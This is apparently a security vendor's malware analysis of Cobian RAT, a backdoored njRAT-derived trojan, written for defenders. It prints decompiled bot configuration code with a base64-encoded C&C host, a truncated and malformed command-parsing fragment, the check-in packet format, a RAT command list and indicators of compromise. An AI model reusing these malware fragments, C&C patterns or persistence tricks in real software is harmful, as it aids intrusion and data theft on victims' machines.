

## Cobian RAT – A backdoored RAT | Zscaler

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### Introduction

The Zscaler ThreatLabZ research team has been monitoring a new remote access Trojan (RAT) family called Cobian RAT since February 2017. The RAT builder for this family was first advertised on multiple underground forums where cybercriminals often buy and sell exploit and malware kits. This RAT builder caught our attention as it was being offered for free and had lot of similarities to the njRAT/H-Worm family, which we analyzed in [this](#) report.




Figure 1: Cobian RAT command-and-control server application

As shown in Figure 1, the Cobian RAT control panel and features are similar to that of njRAT and H-Worm. It is noteworthy that the author identified njRAT as the “theme.”

### Crowdsourcing botnet model?

As we analyzed the builder, we noticed a particularly interesting function: the builder kit is injected with a backdoor module which retrieves C&C information from a predetermined URL (pastebin) that is controlled by the original author. This allows the original author to control the systems infected by the malware payloads that were generated using this backdoored builder kit.




Figure 2 (click to enlarge): Crowdsourced botnet model – Cobian RAT

As shown in Figure 2, the original author of the RAT builder kit is relying on second-level operators to build the RAT payload and spread infections. Then, thanks to the backdoor module, the original author can take full control of infected systems across all the Cobian RAT botnets in which the operators used the backdoored builder kit. The original author can also change the C&C server information configured by the second-level operators.

**Evading detection by malware operator**

During our analysis, we observed that when the machine name and username of the systems running the Cobian RAT payload (bot client) and the control server (bot C&C server) are the same, the backdoor module will not be activated and no communication will be sent to the backdoor C&C server.

The original author of the RAT builder is assuming that there will be some testing performed by the second-level operators and that they will mostly likely use the same system for both bot client and server applications (C&C server of 127.0.0.1). To hide the presence of the backdoor module, there will be no traffic generated from the bot client to the backdoor C&C server in this case.

**Recent in-the-wild Cobian RAT payload analysis**

We saw a unique Cobian RAT payload hit our Cloud Sandbox from a Pakistan-based defense and telecommunication solution website (potentially compromised). The executable payload was served inside a ZIP archive and was masquerading as a Microsoft Excel spreadsheet using an embedded icon, as shown in Figure 3.




Figure 3: Cobian RAT payload masquerading as Microsoft Excel spreadsheet file

The executable payload is signed with an invalid digital certificate pretending to be from VideoLAN (Figure 4), creator of the well-known VLC media player.




Figure 4: Invalid digital certificate pretending to be from VideoLAN

The executable file is packed using a .NET packer with the encrypted Cobian RAT payload embedded in the resource section. There is a series of anti-debugging checks performed by this dropper payload before decrypting the RAT and installing it on the victim's system. The decompiled version of the RAT payload can be seen in Figure 5 below:




Figure 5: Cobian RAT — unpacked and decompiled

The bot's configuration details are present in Class B's constructor as shown below:

```

public B() {
    this.bf = new BinaryFormatter();
    this.RE = true;
    this.App = Application.ExecutablePath;
    this.Logs = null;
    this.AC = true;
    this.OW = false;
    this.SR = "software\\microsoft\\windows\\currentversion\\run";
    this.H = null;
    this.P = null;
    this.Y = "|-|"; //separator hardcoded
    this.H = "c3dlejExMS5kZG5zLm5ldDoyMDAwMCw="; // HostPort list of c&c&s
    this.ID = "SGFja184MDUwMTY="; // Hack_805016 Bot_ID
    this.VL = "{JF2NMRAL-467138-QM2UTY-QM2UTYHS87}"; // Possibly Bot ID
    this.ST = Conversions.ToBoolean("True"); // autostart flag
    this.EXE = "svchost.exe"; // dropped file name
    this.DR = "TEMP"; // special directory name Temp,Appdata,Userprofile
    this.CSTP = Conversions.ToBoolean("True"); // copy to startup folder flag
    this.SD = false;
}
    
```

Figure 6: Bot configuration details

The bot attempts to create a MUTEX using the value of variable "VL" to ensure that only one instance of the bot is running. The bot will proceed to create a copy of itself as %TEMP%\svchost.exe, execute that file, and terminate itself. The newly executed copy will create an autostart registry key to ensure persistence upon system reboot.

The bot contains many features that are also present in the njRAT, such as:

- Keylogger
- Screen capture
- Webcam
- Voice recorder
- File browser
- Remote command shell
- Dynamic plugins
- Install/Uninstall

### Network C&C activity

The bot will spawn two threads in the background, one of which will be responsible for ensuring persistence and taking screenshots. The second thread will perform a regular check-in with the remote C&C server. The function "Data" is responsible for parsing the C&C server's response and executing bot commands on the infected system, which can be seen below:

```
public void Data(byte[] b) {
    object obj = null;
    string[] array = Strings.Split(this.BS(b), this.Y, -1, CompareMethod.Binary);
    checked
    {
        try
        {
            string left = array[0];
            bool flag = Operators.CompareString(left, "Sc", false) == 0;
            if (flag)
            {
            }
            else
            {
                flag = (Operators.CompareString(left, "Svr", false) == 0);
                if (flag)
                {
                    string left2 = array[1];
                    bool flag2 = Operators.CompareString(left2, "~", false) == 0;
                    if (flag2)
                    {
                        Application.Restart();
                        Thread.Sleep(10);
                        ProjectData.EndApp();
                    }
                }
                else
                {
                    flag2 = (Operators.CompareString(left2, "!", false) == 0);
                    if (flag2)
                    {
                        ProjectData.EndApp();
                    }
                }
                else
                {
                    flag2 = (Operators.CompareString(left2, "#", false) == 0);
                    if (flag2)
                    {
                        this.RE = false;
                        this.UNS();
                    }
                }
                else
                {
                    flag2 = (Operators.CompareString(left2, "$", false) == 0);
                    if (flag2)
                    {
                        obj = this.GV_CreateRegKey("Software\\" + this.VL, "H");
                        flag2 = Conversions.ToBoolean(Operators.NotObject(Operators.Compa
                        if (flag2)
                    }
                }
            }
        }
    }
}
```

Figure 7: Bot "Data" function for parsing C&C response

The C&C server address is stored in the configuration function (Figure 6) as a base64 encoded string. The C&C server for the payload that we analyzed pointed to a dynamic DNS domain, *swez111.ddns[.]net:20000*. Upon successful connection, the bot sends the following request to the C&C server to register the infected system and get further instructions.

Encrypted Data Sent

```
LOGIN|-|SGFja184MDUwMTY=|-|ODc4NDÉyQHVzZXI=|-
|TW|jcm9zb2Z0IFdpbmRvd3MgWFAgUHJvZmVzc2lvbmFs|-|No|-|1.0.40.7|-|Tm90ZXBhZA==|-
|U0dGamExODRNRV3TVRZPSxd2V6MTEuLmRkbmMubmV0LDIwMDAwLHN2Y2hvc3QuZXhlLHtKRjJOTVJBTC00NjcxMzgtUU0yVVRZLVF
|2017-07-13
```

Decrypted data:

```
LOGIN|-|Hack_805016|-|878412@user|-|Microsoft Windows XP Professional|-|No|-|1.0.40.7|-|Notepad|-
|SGFja184MDUwMTY=,swez111.ddns.net,20000,svchost.exe,{JF2NMRAL-467138-QM2UTY-
QM2UTYHS87},TEMP,True,True,|-|2017-07-13
```

Packet Format

```
LOGIN|-|BotID|-|Machinename@Username|-|OS|-|CAM|-|RAT Version|-|Installation Data|-|Infection Date
```

The check-in packet includes information about the infected system such as machine name, username, operating system, BotID and configuration data of the payload installed, and the infection date.

Below is a complete list of commands that the Cobian RAT supported in the payload we analyzed.

Command	Purpose
Lg	Keylogger
Svr - @	Rename Bot/Campaign ID
Svr - !	Terminate bot process
Svr - #	Uninstall Bot
Svr - ~	Restart Bot
Svr - \$	Update C&C list
FLD	Stress Tester (Flood using UDP or TCP Traffic)
Execute	Used to run executable or script from local disk or remote URL
Ac	Send Active Window Title
Sc	Send Screen shot
more - FM	File Manager
more - SM	System Manager
more - CP	Remote Desktop
more - CM	Remote Webcam
more - MC	Microphone

more - NF	Information
more - CH	Chat
more - PS	Password Stealer
more - PT	PassTime (Send message box to infected machine)

C&C's packet format

Command|-|subcommand|-|subcommand arguments (optional based on command) |-|command data

### Conclusion

Cobian RAT appears to be yet another RAT that is spawned from the leaked njRAT code. It is ironic to see that the second level operators, who are using this kit to spread malware and steal from the end user, are getting duped themselves by the original author. The original author is essentially using a crowdsourced model for building a mega Botnet that leverages the second level operators Botnet.

Zscaler ThreatLabZ is actively monitoring this threat and will continue to ensure coverage for Zscaler customers.

### Indicators of Compromise

MD5: 94911666a61beb59d2988c4fc7003e5a

Zip File MD5: 7eede7047d3d785db248df0870783637

Source URL: belkomsolutions[.]com/t/guangzhou%20sonicstar%20electronics%20co%20ltd.zip

C&C: swez111.ddns[.]net:20000(173.254.223.81)

FileName: GUANGZHOU SONICSTAR ELECTRONICS CO. LTD.exe

Compilation timestamp: 2017-07-11 03:53:14

Digitally Signed: Vendor /C=FR/L=Paris/O=VideoLAN/CN=VideoLAN

Signing Date: 11:24 AM 7/14/2017

### Zscaler Cloud Sandbox IOCs

**SANDBOX DETAIL REPORT**  
Report ID (MD5): 94911666A61BEB59D2988C4FC7003E5A      Analysis Performed: 7/12/2017 10:40:49 PM      File Type: Windows Executable

High Risk   Moderate Risk   Low Risk

**CLASSIFICATION**

Class Type: Malicious  
Category: Malware & Botnet Detected:  
a variant of MSIL/Kryptik.JYK trojan

Threat Score: **98**

**VIRUS AND MALWARE**

- A Variant Of MSIL/Kryptik.JYK Trojan

**SECURITY BYPASS**

- Sample Sleeps For A Long Time (Installer Files Shows These Property).
- Binary May Include Packed Or Encrypted Data
- Checks For Kernel Debuggers
- Contains Long Sleeps
- Executes Massive Amount Of Sleeps In A Loop

**NETWORKING**

- Uses Dynamic DNS Services
- Detected TCP Or UDP Traffic On Non-Standard Ports
- Performs DNS Lookups
- URLs Found In Memory Or Binary Data

**STEALTH**

- Changes The View Of Files In Windows Explorer
- Creates Files In Alternative Data Streams (ADS)
- Adds Or Modifies Windows Certificates
- Creates PE Files With A Name Known In Windows
- System Process Connects To Network
- Disables Application Error Messages

**SPREADING**

No suspicious activity detected

**INFORMATION LEAKAGE**

No suspicious activity detected

**EXPLOITING**

No suspicious activity detected

**PERSISTENCE**

- Drops PE Files To The Startup Folder
- Creates An Autostart Registry Key
- Creates Autostart Registry Keys With Suspicious Names
- Drops PE Files In Application Program Directory But Not Started Or Loaded
- Installs New ROOT Certificates
- Creates A Start Menu Entry

**SYSTEM SUMMARY**

- Drops PE Files With A Known System Name
- PE File Has An Executable .Text Section Which Is Very Likely To Contain Packed Code (Zlib Compression Ratio < 0.3)
- Classification Label
- Contains Modern PE File Flags Such As Dynamic Base (ASLR) Or NX
- Creates Files Inside The User Directory
- Creates Guard Pages

**DOWNLOAD SUMMARY**

Original file	314 KB
Dropped files	18 MB
Packet capture	70 KB


**ORIGIN**

Origin information not identified

**FILE PROPERTIES**

File Type	Windows Executable
Digital Certificate	Vendor /C=FR/L=Paris/O=VideoLAN/CN=VideoLAN
File Size	321,432 bytes
MD5	94911666a61beb59d2988c4fc7003e5a
SHA1	78174ecc21b1ae638c2064f5c2460d3006ad397b
SSDEEP	6144:LzQHk458y+4QC4HhJHYK3e1hXgpaVuCsTokKU.G458PHXJnKAmfU-Cc8ow


**PROCESS SUMMARY**



**DROPPED FILES**

- C:\Documents And Settings\User\Local Settings\Temp\svchost.Exe
- C:\Documents And Settings\User\Start Menu\Programs\Startup\{JF2NMRAL-467138-QM2UTY-QM2UTYHS87}.Exe
- C:\DOCUME~1\User\LOCALS~1\Temp\Tar9.Tmp
- C:\DOCUME~1\User\LOCALS~1\Temp\Tar7.Tmp
- C:\Documents And Settings\User\Local Settings\Temp\svchost.Exe.Zone.Identifier
- VROUTER
- C:\Documents And Settings\User\Application

**SCREENSHOTS**



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